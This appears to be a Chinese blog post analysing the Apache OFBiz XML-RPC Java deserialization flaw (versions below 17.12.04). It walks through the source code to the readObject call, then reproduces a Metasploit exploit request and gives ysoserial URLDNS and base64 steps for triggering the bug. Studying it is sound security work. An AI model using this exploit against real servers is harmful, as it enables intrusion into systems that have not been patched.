- 浏览: 168750 次
- 性别:
- 来自: 上海
文章分类
- 全部博客 (173)
- Cocos2d-X (11)
- ubuntu (17)
- ofbiz (7)
- freemarker (1)
- nginx (9)
- redHat (7)
- SpringBoot (13)
- C# (0)
- PHP (2)
- Android (0)
- 咖啡豆 (7)
- Python (21)
- IONIC (8)
- AngularJS (1)
- 大鲸鱼 (10)
- 好玩的东西 (11)
- mysql 占用 (5)
- kelude (1)
- jS (0)
- Wx (1)
- H5-M500 (3)
- 开发即运维 (4)
- ReactNative (11)
- C++ (0)
- 其他杂项 (2)
- Truffle (1)
- WebLogic (0)
- Unity3D (0)
- WeChatMiniProgram (0)
- 小程序 (3)
- OLAP (1)
- ceb (1)
- 微信小程序 (2)
- 小程序undefined (1)
- 小程序机型问题 (1)
- Olingo (1)
- Cocos Creator (2)
- kylin (1)
- docker network (1)
最新评论
-
沈寅麟:
如果:[MySQL] specified key was to ...
OFBiz使用utf8mb4保存emoji -
沈寅麟:
从主机复制文件到容器里主机–>容器1,获取容器ID使用s ...
退出不关闭容器 -
沈寅麟:
conf.d/default.config---------- ...
Nginx配置AJP -
沈寅麟:
配置完nginx,在启动的时候遇到如下问题:nginx: [e ...
Nginx配置AJP -
沈寅麟:
docker commit [OPTIONS] CONTAIN ...
退出不关闭容器
漏洞影响版本# < 17.12.04版本
漏洞请求地址:
https://xxxxx/webtools/control/xmlrpc
当post一个xml的poc过去后,如果返回包里同时存在
faultString,No such service faultString ,methodResponse
证明有漏洞存在。
根据/webtools/control/xmlrpc可知,我们去看webtools下的源码,来到webapp目录下的web.xml查看路由情况。
<servlet> <description>Main Control Servlet</description> <display-name>ControlServlet</display-name> <servlet-name>ControlServlet</servlet-name> <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class> <load-on-startup>1</load-on-startup> </servlet> <servlet-mapping> <servlet-name>ControlServlet</servlet-name> <url-pattern>/control/*</url-pattern> </servlet-mapping>
通过代码可知道,我们control下面的uri都是转发到ControlServlet控制器当中。跳转到org.apache.ofbiz.webapp.control.ControlServlet的源码,在doPost里打下断点。
根据经验,下面这段代码才是路由器功能具体细分的代码,在这之前是对一些列的环境变量进行复制。
try { // the ServerHitBin call for the event is done inside the doRequest method requestHandler.doRequest(request, response, null, userLogin, delegator); }
跟入doRequest函数,走一遍看看。走完第一遍,再走第二遍的时候,根据注释// run the request event可以知道!
这块会根据uri的不同进行java反射机制跳转到对应的控制类进行操作。跟入runEvent函数:
public String runEvent(HttpServletRequest request, HttpServletResponse response, ConfigXMLReader.Event event, ConfigXMLReader.RequestMap requestMap, String trigger) throws EventHandlerException { EventHandler eventHandler = eventFactory.getEventHandler(event.type); String eventReturn = eventHandler.invoke(event, requestMap, request, response); if (Debug.verboseOn() || (Debug.infoOn() && "request".equals(trigger))) Debug.logInfo("Ran Event [" + event.type + ":" + event.path + "#" + event.invoke + "] from [" + trigger + "], result is [" + eventReturn + "]", module); return eventReturn; } invoke的出现大概的佐证了我们的想法。跟入invoke:
public String invoke(Event event, RequestMap requestMap, HttpServletRequest request, HttpServletResponse response) throws EventHandlerException { String report = request.getParameter("echo"); if (report != null) { BufferedReader reader = null; StringBuilder buf = new StringBuilder(); try { // read the inputstream buffer String line; reader = new BufferedReader(new InputStreamReader(request.getInputStream())); while ((line = reader.readLine()) != null) { buf.append(line).append("\n"); } } catch (Exception e) { throw new EventHandlerException(e.getMessage(), e); } finally { if (reader != null) { try { reader.close(); } catch (IOException e) { throw new EventHandlerException(e.getMessage(), e); } } } Debug.logInfo("Echo: " + buf.toString(), module); // echo back the request try { response.setContentType("text/xml"); Writer out = response.getWriter(); out.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>"); out.write("<methodResponse>"); out.write("<params><param>"); out.write("<value><string><![CDATA["); out.write(buf.toString()); out.write("]]></string></value>"); out.write("</param></params>"); out.write("</methodResponse>"); out.flush(); } catch (Exception e) { throw new EventHandlerException(e.getMessage(), e); } } else { try { this.execute(this.getXmlRpcConfig(request), new HttpStreamConnection(request, response)); } catch (XmlRpcException e) { Debug.logError(e, module); throw new EventHandlerException(e.getMessage(), e); } } return null; } 来到this.execute函数,跟入: public void execute(XmlRpcStreamRequestConfig pConfig, ServerStreamConnection pConnection) throws XmlRpcException { try { Object result = null; boolean foundError = false; try (InputStream istream = getInputStream(pConfig, pConnection)) { XmlRpcRequest request = getRequest(pConfig, istream); result = execute(request); } catch (Exception e) { Debug.logError(e, module); foundError = true; } ByteArrayOutputStream baos; OutputStream initialStream; if (isContentLengthRequired(pConfig)) { baos = new ByteArrayOutputStream(); initialStream = baos; } else { baos = null; initialStream = pConnection.newOutputStream(); } try (OutputStream ostream = getOutputStream(pConnection, pConfig, initialStream)) { if (!foundError) { writeResponse(pConfig, ostream, result); } else { writeError(pConfig, ostream, new Exception("Failed to read XML-RPC request. Please check logs for more information")); } } if (baos != null) { try (OutputStream dest = getOutputStream(pConfig, pConnection, baos.size())) { baos.writeTo(dest); } } pConnection.close(); pConnection = null; } catch (IOException e) { throw new XmlRpcException("I/O error while processing request: " + e.getMessage(), e); } finally { if (pConnection != null) { try { pConnection.close(); } catch (IOException e) { Debug.logError(e, "Unable to close stream connection"); } } } }
获取到了value的值,我们跟入看看getRequest函数。
protected XmlRpcRequest getRequest(final XmlRpcStreamRequestConfig pConfig, InputStream pStream) throws XmlRpcException { final XmlRpcRequestParser parser = new XmlRpcRequestParser(pConfig, getTypeFactory()); final XMLReader xr = SAXParsers.newXMLReader(); xr.setContentHandler(parser); try { xr.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xr.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false); xr.setFeature("http://xml.org/sax/features/external-general-entities", false); xr.setFeature("http://xml.org/sax/features/external-parameter-entities", false); xr.parse(new InputSource(pStream)); } catch (SAXException | IOException e) { throw new XmlRpcException("Failed to parse / read XML-RPC request: " + e.getMessage(), e); } final List<?> params = parser.getParams(); return new XmlRpcRequest() { public XmlRpcRequestConfig getConfig() { return pConfig; } public String getMethodName() { return parser.getMethodName(); } public int getParameterCount() { return params == null ? 0 : params.size(); } public Object getParameter(int pIndex) { return params.get(pIndex); } }; } 在xr.parse(new InputSource(pStream));对input流数据进行了处理。 利用msf的exp进行发送测试:
POST /webtools/control/xmlrpc HTTP/1.1 Host: localhost:8443 Content-Type: text/xml Content-Length: 643 <?xml version="1.0"?> <methodCall> <methodName>#{rand_text_alphanumeric(8..42)}</methodName> <params> <param> <value> <struct> <member> <name>#{rand_text_alphanumeric(8..42)}</name> <value> <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable> </value> </member> </struct> </value> </param> </params> </methodCall>
在调试器看到:
从源码上debug不到后,我就根据调试器里的报错来查看具体的类:
根据报错,我们知道了,有内容base64解码错误。根据exp可知道<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>这里面的内容应该是base64后的内容。
然后给<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">MTEx</serializable>再次发送。
断点在SerializableParser:
public class SerializableParser extends ByteArrayParser { public Object getResult() throws XmlRpcException { try { byte[] res = (byte[]) super.getResult(); ByteArrayInputStream bais = new ByteArrayInputStream(res); ObjectInputStream ois = new ObjectInputStream(bais); return ois.readObject(); } catch (IOException e) { throw new XmlRpcException("Failed to read result object: " + e.getMessage(), e); } catch (ClassNotFoundException e) { throw new XmlRpcException("Failed to load class for result object: " + e.getMessage(), e); } } }
可知进行readObject是我们base64后的内容,即到达反序列化入口点。
开始利用漏洞:
1.如果没有ysoserial工具,这里下载:
https://pan.baidu.com/s/12o5UFaln0qDUo0hPcIR1Eg 提取码:qdfc
2.http://www.dnslog.cn/ 获取一个可请求的地址
使用java -jar yso.jar URLDNS "http://你的地址" > url.bin,然后:
3.使用Python转Class为Base64
import base64 # payload = open("url.bin").read() with open("./url.bin",'rb') as file: payload = file.read() bbs = base64.b64encode(payload) print(bbs)
反序列化工具ysoserial很强大,还有很多功能,具体学习请看
http://www.mamicode.com/info-detail-2407213.html
参考与[url]https:// www.cnblogs.com/ph4nt0mer/p/135767391.html[/url]
发表评论
-
OFBiz-Passport(基于Oauth2的第三方授权登录)
2020-10-27 16:04 319https://www.yinxiang.com/everhu ... -
12.04.01 编译错误(class file for org.ofbiz.widget.ContentWorkerInterface not
2018-01-31 21:51 610解决办法: 在application 下的order, pa ... -
OFBiz使用utf8mb4保存emoji
2017-11-23 18:41 9631.保证MySQL 版本高于 5.5.3 2.确保mysql ... -
SSL1
2017-07-12 16:26 536使用JDK生成证书 keytool -genkey -ali ... -
利用OFBiz实现Single Sign On单点登录
2017-02-06 18:34 6021 、 ofbiz 单点登录介绍 ofbiz 点单登录是集成了 ... -
关于一个服务器运行多个OFBiz
2016-09-28 15:50 606CHANGE PORT 1. framework/bas ...
相关推荐
该POC检测了OFBiz的XML-RPC端点的反序列化漏洞,该漏洞影响所有低于17.12.04版本的OFBiz系统。 要检测该漏洞,可以发送恶意的XML-RPC请求,检查响应包中是否存在faultString, No such service [ProjectDiscovery], ...
CVE-2021-26295 Apache OFBiz 反序列化漏洞
首先,你需要在`hot-deploy`目录下创建一个名为`practice`的子目录,并在其中创建`ofbiz-component.xml`文件。该文件定义了组件的名称、资源加载器类型以及其他相关信息。例如: ```xml <ofbiz-component name=...
最新版OFBiz,apache-ofbiz-16.11.05,apache-ofbiz-16.11.05
OFBiz提供了基于XML的服务定义语言(Service Engine XML, SEXML),用于声明式地定义服务接口、参数和实现。通过学习如何编写SEXML文件,开发者可以创建自定义服务,并与其他组件进行交互。 工作流(WorkEffort)...
`component-load.xml`是Ofbiz系统启动时读取的配置文件之一,它负责在运行时加载和初始化组件。这个文件包含了组件的配置信息,如组件名称、描述、依赖关系、服务定义、事件处理等。理解并能熟练编辑此文件对于...
`component-load.xml`是OFBiz中的一个重要配置文件,它定义了OFBiz启动时加载的组件及其顺序。组件是OFBiz中的基本组织单元,包含服务、实体模型、页面、工作流等。通过修改此文件,你可以控制哪些组件在特定环境中...
Ofbiz 官网上的OFBiz Tutorial - A Beginners Development Guide中的案例practice,其中内容有些是老版本的,与新版本(13版)并不兼容,尤其是Ajax部分已经有较大差异。同时有一部分操作和源代码没有在教程中说明...
这个压缩包文件"Ofbiz-16-全量数据库873张表.rar"包含了Apache Ofbiz 16版本的全量数据库结构,包括873个数据表的SQL脚本。这些脚本用于创建和初始化数据库,对于理解和开发基于Ofbiz的应用程序至关重要。 1. **...
不用解压ofbiz-entry-zh-cn.zip 直接把zip修改为doc 即可。 ofbiz-entry-zh-cn.doc 博文链接:https://jiasudu.iteye.com/blog/157892
OFBiz API 文档,英文html版。使用官方资源中的ant命令自动生成,无任何修改。有兴趣的朋友可以自己生成,ant命令是:docs-all,该命令生成帮助文档时会获取操作系统语言设置,要生成英文文档请先将操作系统语言改为...
OFBiz-manual-zh.docOFBiz-manual-zh.docOFBiz-manual-zh.docOFBiz-manual-zh.docOFBiz-manual-zh.doc
19. **设置(Setup)**:初始化和配置OFBiz环境。 20. **翻译(Translation)**:支持多语言环境,方便国际化部署。 21. **用户界面(User Interface)**:定制用户界面,提升用户体验。 22. **Web POS**:基于Web的...
马恩托 Magento 与 Apache OFBiz 集成,兼容 OFBiz-13.07 和主干 在 Apache OFBiz-13.07 和 OFBiz 主干中使用磁电机组件的步骤 ... 在 Magento 端创建 SOAP/XML-RPC 用户和角色。 在 OFBiz 端设置信息: